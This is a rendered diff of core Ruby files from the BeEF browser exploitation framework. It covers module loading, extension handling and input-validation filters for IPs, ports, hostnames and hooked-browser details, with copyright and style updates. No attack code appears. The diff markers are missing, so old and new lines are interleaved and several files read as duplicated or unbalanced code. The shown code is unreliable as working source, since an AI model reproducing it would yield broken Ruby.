# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Modules
# @note Defined API Paths
API_PATHS = {
'post_soft_load' => :post_soft_load
}
'post_soft_load' => :post_soft_load
}.freeze
# Fires just after all modules are soft loaded
def post_soft_load; end
end
end
end

View File

@@ -1,11 +1,10 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
end
end
@@ -13,10 +12,11 @@ end
require 'core/main/router/router'
require 'core/main/router/api'
## @note Include http server functions for beef
require 'core/main/server'
require 'core/main/handlers/modules/beefjs'
require 'core/main/handlers/modules/legacybeefjs'
require 'core/main/handlers/modules/multistagebeefjs'
require 'core/main/handlers/modules/command'
require 'core/main/handlers/commands'
require 'core/main/handlers/hookedbrowsers'

View File

@@ -1,12 +1,11 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
end
module Core
end
end
# @note Includes database models - the order must be consistent otherwise DataMapper goes crazy
@@ -20,6 +19,7 @@ require 'core/main/models/optioncache'
require 'core/main/models/browserdetails'
require 'core/main/models/rule'
require 'core/main/models/execution'
require 'core/main/models/legacybrowseruseragents'
# @note Include the constants
require 'core/main/constants/browsers'
@@ -38,4 +38,3 @@ require 'core/main/geoip'
# @note Include the command line parser and the banner printer
require 'core/main/console/commandline'
require 'core/main/console/banners'

View File

@@ -1,11 +1,10 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
# Checks to see if extension is set inside the configuration
# @param [String] ext the extension key
# @return [Boolean] whether or not the extension exists in BeEF's configuration
@@ -15,9 +14,10 @@ module BeEF
# Checks to see if extension is enabled in configuration
# @param [String] ext the extension key
# @return [Boolean] whether or not the extension is enabled
# @return [Boolean] whether or not the extension is enabled
def self.is_enabled(ext)
return false unless is_present(ext)
BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.enable") == true
end
@@ -26,10 +26,11 @@ module BeEF
# @return [Boolean] whether or not the extension is loaded
def self.is_loaded(ext)
return false unless is_enabled(ext)
BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.loaded") == true
end
# Loads an extension
# Loads an extension
# @param [String] ext the extension key
# @return [Boolean] whether or not the extension loaded successfully
def self.load(ext)
@@ -41,7 +42,7 @@ module BeEF
end
print_error "Unable to load extension '#{ext}'"
false
rescue => e
rescue StandardError => e
print_error "Unable to load extension '#{ext}':"
print_more e.message
end

View File

@@ -1,32 +1,40 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extensions
# Returns configuration of all enabled extensions
# @return [Array] an array of extension configuration hashes that are enabled
def self.get_enabled
BeEF::Core::Configuration.instance.get('beef.extension').select { |k,v| v['enable'] == true }
BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['enable'] == true }
rescue StandardError => e
print_error "Failed to get enabled extensions: #{e.message}"
print_error e.backtrace
end
# Returns configuration of all loaded extensions
# @return [Array] an array of extension configuration hashes that are loaded
def self.get_loaded
BeEF::Core::Configuration.instance.get('beef.extension').select {|k,v| v['loaded'] == true }
BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['loaded'] == true }
rescue StandardError => e
print_error "Failed to get loaded extensions: #{e.message}"
print_error e.backtrace
end
# Load all enabled extensions
# @note API fire for post_load
def self.load
BeEF::Core::Configuration.instance.load_extensions_config
self.get_enabled.each { |k,v|
get_enabled.each do |k, _v|
BeEF::Extension.load k
}
end
# API post extension load
BeEF::API::Registrar.instance.fire BeEF::API::Extensions, 'post_load'
rescue StandardError => e
print_error "Failed to load extensions: #{e.message}"
print_error e.backtrace
end
end
end

View File

@@ -1,11 +1,10 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
end
end

View File

@@ -1,199 +1,214 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
module Filters
# Check if the string is not empty and not nil
# @param [String] str String for testing
# @return [Boolean] Whether the string is not empty
def self.is_non_empty_string?(str)
return false if str.nil?
return false unless str.is_a? String
return false if str.empty?
# Check if the string is not empty and not nil
# @param [String] str String for testing
# @return [Boolean] Whether the string is not empty
def self.is_non_empty_string?(str)
return false if str.nil?
return false unless str.is_a? String
return false if str.empty?
true
true
end
# Check if only the characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether or not the only characters in str are specified in chars
def self.only?(chars, str)
regex = Regexp.new('[^' + chars + ']')
regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check if one or more characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether one of the characters exists in the string
def self.exists?(chars, str)
regex = Regexp.new(chars)
!regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check for null char
# @param [String] str String for testing
# @return [Boolean] If the string has a null character
def self.has_null?(str)
return false unless is_non_empty_string?(str)
exists?('\x00', str)
end
# Check for non-printable char
# @param [String] str String for testing
# @return [Boolean] Whether or not the string has non-printable characters
def self.has_non_printable_char?(str)
return false unless is_non_empty_string?(str)
!only?('[:print:]', str)
end
# Check if num characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains numbers
def self.nums_only?(str)
return false unless is_non_empty_string?(str)
only?('0-9', str)
end
# Check if valid float
# @param [String] str String for float testing
# @return [Boolean] If the string is a valid float
def self.is_valid_float?(str)
return false unless is_non_empty_string?(str)
return false unless only?('0-9\.', str)
!(str =~ /^\d+\.\d+$/).nil?
end
# Check if hex characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains hex characters
def self.hexs_only?(str)
return false unless is_non_empty_string?(str)
only?('0123456789ABCDEFabcdef', str)
end
# Check if first character is a number
# @param [String] String for testing
# @return [Boolean] If the first character of the string is a number
def self.first_char_is_num?(str)
return false unless is_non_empty_string?(str)
!(str =~ /^\d.*/).nil?
end
# Check for space characters: \t\n\r\f
# @param [String] str String for testing
# @return [Boolean] If the string has a whitespace character
def self.has_whitespace_char?(str)
return false unless is_non_empty_string?(str)
exists?('\s', str)
end
# Check for non word characters: a-zA-Z0-9
# @param [String] str String for testing
# @return [Boolean] If the string only has alphanums
def self.alphanums_only?(str)
return false unless is_non_empty_string?(str)
only?('a-zA-Z0-9', str)
end
# @overload self.is_valid_ip?(ip, version)
# Checks if the given string is a valid IP address
# @param [String] ip string to be tested
# @param [Symbol] version IP version (either <code>:ipv4</code> or <code>:ipv6</code>)
# @return [Boolean] true if the string is a valid IP address, otherwise false
#
# @overload self.is_valid_ip?(ip)
# Checks if the given string is either a valid IPv4 or IPv6 address
# @param [String] ip string to be tested
# @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false
def self.is_valid_ip?(ip, version = :both)
return false unless is_non_empty_string?(ip)
if case version.inspect.downcase
when /^:ipv4$/
ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x
when /^:ipv6$/
ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,7}:|
([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}|
([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}|
([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}|
([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}|
[0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})|
:((:[0-9a-f]{1,4}){1,7}|:)|
fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}|
::(ffff(:0{1,4}){0,1}:){0,1}
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|
([0-9a-f]{1,4}:){1,4}:
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix
when /^:both$/
is_valid_ip?(ip, :ipv4) || is_valid_ip?(ip, :ipv6)
end
true
else
false
end
end
# Checks if the given string is a valid private IP address
# @param [String] ip string for testing
# @return [Boolean] true if the string is a valid private IP address, otherwise false
# @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8, but does not include local-link addresses.
def self.is_valid_private_ip?(ip)
return false unless is_valid_ip?(ip)
ip =~ /\A(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])\z/ ? true : false
end
# Checks if the given string is a valid TCP port
# @param [String] port string for testing
# @return [Boolean] true if the string is a valid TCP port, otherwise false
def self.is_valid_port?(port)
valid = false
valid = true if port.to_i > 0 && port.to_i < 2**16
valid
end
# Checks if string is a valid domain name
# @param [String] domain string for testing
# @return [Boolean] If the string is a valid domain name
# @note Only validates the string format. It does not check for a valid TLD since ICANN's list of TLD's is not static.
def self.is_valid_domain?(domain)
return false unless is_non_empty_string?(domain)
return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i
false
end
# Check for valid browser details characters
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser details characters
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_browser_details_chars?(str)
return false unless is_non_empty_string?(str)
!(str =~ %r{[^\w\d\s()-.,;:_/!\302\256]}).nil?
end
# Check for valid base details characters
# @param [String] str String for testing
# @return [Boolean] If the string has only valid base characters
# @note This is for basic filtering where possible all specific filters must be implemented
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_base_chars?(str)
return false unless is_non_empty_string?(str)
(str =~ /[^\302\256[:print:]]/).nil?
end
# Verify the yes and no is valid
# @param [String] str String for testing
# @return [Boolean] If the string is either 'yes' or 'no'
def self.is_valid_yes_no?(str)
return false if has_non_printable_char?(str)
return false if str !~ /\A(Yes|No)\z/i
true
end
end
# Check if only the characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether or not the only characters in str are specified in chars
def self.only?(chars, str)
regex = Regexp.new('[^' + chars + ']')
regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check if one or more characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether one of the characters exists in the string
def self.exists?(chars, str)
regex = Regexp.new(chars)
not regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check for null char
# @param [String] str String for testing
# @return [Boolean] If the string has a null character
def self.has_null? (str)
return false unless is_non_empty_string?(str)
exists?('\x00', str)
end
# Check for non-printable char
# @param [String] str String for testing
# @return [Boolean] Whether or not the string has non-printable characters
def self.has_non_printable_char?(str)
return false unless is_non_empty_string?(str)
not only?('[:print:]', str)
end
# Check if num characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains numbers
def self.nums_only?(str)
return false unless is_non_empty_string?(str)
only?('0-9', str)
end
# Check if valid float
# @param [String] str String for float testing
# @return [Boolean] If the string is a valid float
def self.is_valid_float?(str)
return false unless is_non_empty_string?(str)
return false unless only?('0-9\.', str)
not (str =~ /^[\d]+\.[\d]+$/).nil?
end
# Check if hex characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains hex characters
def self.hexs_only?(str)
return false unless is_non_empty_string?(str)
only?('0123456789ABCDEFabcdef', str)
end
# Check if first character is a number
# @param [String] String for testing
# @return [Boolean] If the first character of the string is a number
def self.first_char_is_num?(str)
return false unless is_non_empty_string?(str)
not (str =~ /^\d.*/).nil?
end
# Check for space characters: \t\n\r\f
# @param [String] str String for testing
# @return [Boolean] If the string has a whitespace character
def self.has_whitespace_char?(str)
return false unless is_non_empty_string?(str)
exists?('\s', str)
end
# Check for non word characters: a-zA-Z0-9
# @param [String] str String for testing
# @return [Boolean] If the string only has alphanums
def self.alphanums_only?(str)
return false unless is_non_empty_string?(str)
only?("a-zA-Z0-9", str)
end
# @overload self.is_valid_ip?(ip, version)
# Checks if the given string is a valid IP address
# @param [String] ip string to be tested
# @param [Symbol] version IP version (either <code>:ipv4</code> or <code>:ipv6</code>)
# @return [Boolean] true if the string is a valid IP address, otherwise false
#
# @overload self.is_valid_ip?(ip)
# Checks if the given string is either a valid IPv4 or IPv6 address
# @param [String] ip string to be tested
# @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false
def self.is_valid_ip?(ip, version = :both)
return false unless is_non_empty_string?(ip)
valid = case version.inspect.downcase
when /^:ipv4$/
ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x
when /^:ipv6$/
ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,7}:|
([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}|
([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}|
([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}|
([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}|
[0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})|
:((:[0-9a-f]{1,4}){1,7}|:)|
fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}|
::(ffff(:0{1,4}){0,1}:){0,1}
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|
([0-9a-f]{1,4}:){1,4}:
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix
when /^:both$/
is_valid_ip?(ip, :ipv4) || is_valid_ip?(ip, :ipv6)
end ? true : false
valid
end
# Checks if the given string is a valid private IP address
# @param [String] ip string for testing
# @return [Boolean] true if the string is a valid private IP address, otherwise false
# @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8, but does not include local-link addresses.
def self.is_valid_private_ip?(ip)
return false unless is_valid_ip?(ip)
return ip =~ /\A(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])\z/ ? true : false
end
# Checks if the given string is a valid TCP port
# @param [String] port string for testing
# @return [Boolean] true if the string is a valid TCP port, otherwise false
def self.is_valid_port?(port)
valid = false
valid = true if port.to_i > 0 && port.to_i < 2**16
valid
end
# Checks if string is a valid domain name
# @param [String] domain string for testing
# @return [Boolean] If the string is a valid domain name
# @note Only validates the string format. It does not check for a valid TLD since ICANN's list of TLD's is not static.
def self.is_valid_domain?(domain)
return false unless is_non_empty_string?(domain)
return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i
false
end
# Check for valid browser details characters
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser details characters
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_browser_details_chars?(str)
return false unless is_non_empty_string?(str)
not (str =~ /[^\w\d\s()-.,;:_\/!\302\256]/).nil?
end
# Check for valid base details characters
# @param [String] str String for testing
# @return [Boolean] If the string has only valid base characters
# @note This is for basic filtering where possible all specific filters must be implemented
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_base_chars?(str)
return false unless is_non_empty_string?(str)
(str =~ /[^\302\256[:print:]]/).nil?
end
# Verify the yes and no is valid
# @param [String] str String for testing
# @return [Boolean] If the string is either 'yes' or 'no'
def self.is_valid_yes_no?(str)
return false if has_non_printable_char?(str)
return false if str !~ /\A(Yes|No)\z/i
true
end
end
end

View File

@@ -1,151 +1,162 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
module Filters
# Check the browser type value - for example, 'FF'
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser name characters
def self.is_valid_browsername?(str)
return false unless is_non_empty_string?(str)
return false if str.length > 2
return false if has_non_printable_char?(str)
# Check the browser type value - for example, 'FF'
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser name characters
def self.is_valid_browsername?(str)
return false unless is_non_empty_string?(str)
return false if str.length > 2
return false if has_non_printable_char?(str)
true
end
true
end
# Check the Operating System name value - for example, 'Windows XP'
# @param [String] str String for testing
# @return [Boolean] If the string has valid Operating System name characters
def self.is_valid_osname?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length < 2
true
end
# Check the Operating System name value - for example, 'Windows XP'
# @param [String] str String for testing
# @return [Boolean] If the string has valid Operating System name characters
def self.is_valid_osname?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length < 2
# Check the Hardware name value - for example, 'iPhone'
# @param [String] str String for testing
# @return [Boolean] If the string has valid Hardware name characters
def self.is_valid_hwname?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length < 2
true
end
true
end
# Verify the browser version string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser version characters
def self.is_valid_browserversion?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return true if str.eql? "UNKNOWN"
return true if str.eql? "ALL"
return false if not nums_only?(str) and not is_valid_float?(str)
return false if str.length > 20
true
end
# Check the Hardware name value - for example, 'iPhone'
# @param [String] str String for testing
# @return [Boolean] If the string has valid Hardware name characters
def self.is_valid_hwname?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length < 2
# Verify the os version string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid os version characters
def self.is_valid_osversion?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return true if str.eql? "UNKNOWN"
return true if str.eql? "ALL"
return false unless BeEF::Filters::only?("a-zA-Z0-9.<=> ", str)
return false if str.length > 20
true
end
true
end
# Verify the browser/UA string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser / ua string characters
def self.is_valid_browserstring?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 300
true
end
# Verify the cookies are valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid cookie characters
def self.is_valid_cookies?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 2000
true
end
# Verify the browser version string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser version characters
def self.is_valid_browserversion?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return true if str.eql? 'UNKNOWN'
return true if str.eql? 'ALL'
return false if !nums_only?(str) and !is_valid_float?(str)
return false if str.length > 20
# Verify the system platform is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid system platform characters
def self.is_valid_system_platform?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
true
end
# Verify the date stamp is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid date stamp characters
def self.is_valid_date_stamp?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the os version string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid os version characters
def self.is_valid_osversion?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return true if str.eql? 'UNKNOWN'
return true if str.eql? 'ALL'
return false unless BeEF::Filters.only?('a-zA-Z0-9.<=> ', str)
return false if str.length > 20
# Verify the CPU type string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid CPU type characters
def self.is_valid_cpu?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
true
end
# Verify the memory string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid memory type characters
def self.is_valid_memory?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the browser/UA string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser / ua string characters
def self.is_valid_browserstring?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 300
# Verify the GPU type string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid GPU type characters
def self.is_valid_gpu?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
true
end
# Verify the browser_plugins string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser plugin characters
# @note This string can be empty if there are no browser plugins
# @todo Verify if the ruby version statement is still necessary
def self.is_valid_browser_plugins?(str)
return false unless is_non_empty_string?(str)
return false if str.length > 1000
if str.encoding === Encoding.find('UTF-8')
return (str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil?
else
return (str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil?
# Verify the cookies are valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid cookie characters
def self.is_valid_cookies?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 2000
true
end
# Verify the system platform is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid system platform characters
def self.is_valid_system_platform?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the date stamp is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid date stamp characters
def self.is_valid_date_stamp?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the CPU type string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid CPU type characters
def self.is_valid_cpu?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the memory string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid memory type characters
def self.is_valid_memory?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the GPU type string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid GPU type characters
def self.is_valid_gpu?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the browser_plugins string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser plugin characters
# @note This string can be empty if there are no browser plugins
# @todo Verify if the ruby version statement is still necessary
def self.is_valid_browser_plugins?(str)
return false unless is_non_empty_string?(str)
return false if str.length > 1000
if str.encoding === Encoding.find('UTF-8')
(str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil?
else
(str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil?
end
end
end
end
end

View File

@@ -1,67 +1,71 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
# Check if the string is a valid path from a HTTP request
# @param [String] str String for testing
# @return [Boolean] If the string has valid path characters
def self.is_valid_path_info?(str)
return false if str.nil?
return false unless str.is_a? String
return false if has_non_printable_char?(str)
true
end
module Filters
# Check if the string is a valid path from a HTTP request
# @param [String] str String for testing
# @return [Boolean] If the string has valid path characters
def self.is_valid_path_info?(str)
return false if str.nil?
return false unless str.is_a? String
return false if has_non_printable_char?(str)
# Check if the session id valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid hook session id characters
def self.is_valid_hook_session_id?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_key_chars?(str)
true
end
true
end
# Check if valid command module datastore key
# @param [String] str String for testing
# @return [Boolean] If the string has valid command module datastore key characters
def self.is_valid_command_module_datastore_key?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_key_chars?(str)
true
end
# Check if the session id valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid hook session id characters
def self.is_valid_hook_session_id?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_key_chars?(str)
# Check if valid command module datastore value
# @param [String] str String for testing
# @return [Boolean] If the string has valid command module datastore param characters
def self.is_valid_command_module_datastore_param?(str)
return false if has_null?(str)
return false unless has_valid_base_chars?(str)
true
end
true
end
# Check for word and some punc chars
# @param [String] str String for testing
# @return [Boolean] If the string has valid key characters
def self.has_valid_key_chars?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_base_chars?(str)
true
end
# Check if valid command module datastore key
# @param [String] str String for testing
# @return [Boolean] If the string has valid command module datastore key characters
def self.is_valid_command_module_datastore_key?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_key_chars?(str)
# Check for word and underscore chars
# @param [String] str String for testing
# @return [Boolean] If the sting has valid param characters
def self.has_valid_param_chars?(str)
return false if str.nil?
return false unless str.is_a? String
return false if str.empty?
return false unless (str =~ /[^\w_\:]/).nil?
true
end
true
end
end
# Check if valid command module datastore value
# @param [String] str String for testing
# @return [Boolean] If the string has valid command module datastore param characters
def self.is_valid_command_module_datastore_param?(str)
return false if has_null?(str)
return false unless has_valid_base_chars?(str)
true
end
# Check for word and some punc chars
# @param [String] str String for testing
# @return [Boolean] If the string has valid key characters
def self.has_valid_key_chars?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_base_chars?(str)
true
end
# Check for word and underscore chars
# @param [String] str String for testing
# @return [Boolean] If the sting has valid param characters
def self.has_valid_param_chars?(str)
return false if str.nil?
return false unless str.is_a? String
return false if str.empty?
return false unless (str =~ /[^\w_:]/).nil?
true
end
end
end

View File

@@ -1,61 +1,62 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
# Verify the hostname string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid hostname
def self.is_valid_hostname?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 255
return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-\.]*[a-zA-Z0-9]$/).nil?
true
module BeEF
module Filters
# Verify the hostname string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid hostname
def self.is_valid_hostname?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 255
return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-.]*[a-zA-Z0-9]$/).nil?
true
end
def self.is_valid_verb?(verb)
%w[HEAD GET POST OPTIONS PUT DELETE].each { |v| return true if verb.eql? v }
false
end
def self.is_valid_url?(uri)
return true unless uri.nil?
# OPTIONS * is not yet supported
# return true if uri.eql? "*"
# TODO : CHECK THE normalize_path method and include it somewhere (maybe here)
# return true if uri.eql? self.normalize_path(uri)
false
end
def self.is_valid_http_version?(version)
# from browsers the http version contains a space at the end ("HTTP/1.0\r")
version.gsub!(/\r+/, '')
['HTTP/1.0', 'HTTP/1.1'].each { |v| return true if version.eql? v }
false
end
def self.is_valid_host_str?(host_str)
# from browsers the host header contains a space at the end
host_str.gsub!(/\r+/, '')
return true if 'Host:'.eql?(host_str)
false
end
def normalize_path(path)
print_error "abnormal path `#{path}'" if path[0] != '/'
ret = path.dup
ret.gsub!(%r{/+}o, '/') # // => /
while ret.sub!(%r{/\.(?:/|\Z)}, '/'); end # /. => /
while ret.sub!(%r{/(?!\.\./)[^/]+/\.\.(?:/|\Z)}, '/'); end # /foo/.. => /foo
print_error "abnormal path `#{path}'" if %r{/\.\.(/|\Z)} =~ ret
ret
end
end
def self.is_valid_verb?(verb)
["HEAD", "GET", "POST", "OPTIONS", "PUT", "DELETE"].each {|v| return true if verb.eql? v }
false
end
def self.is_valid_url?(uri)
return true if !uri.nil?
# OPTIONS * is not yet supported
#return true if uri.eql? "*"
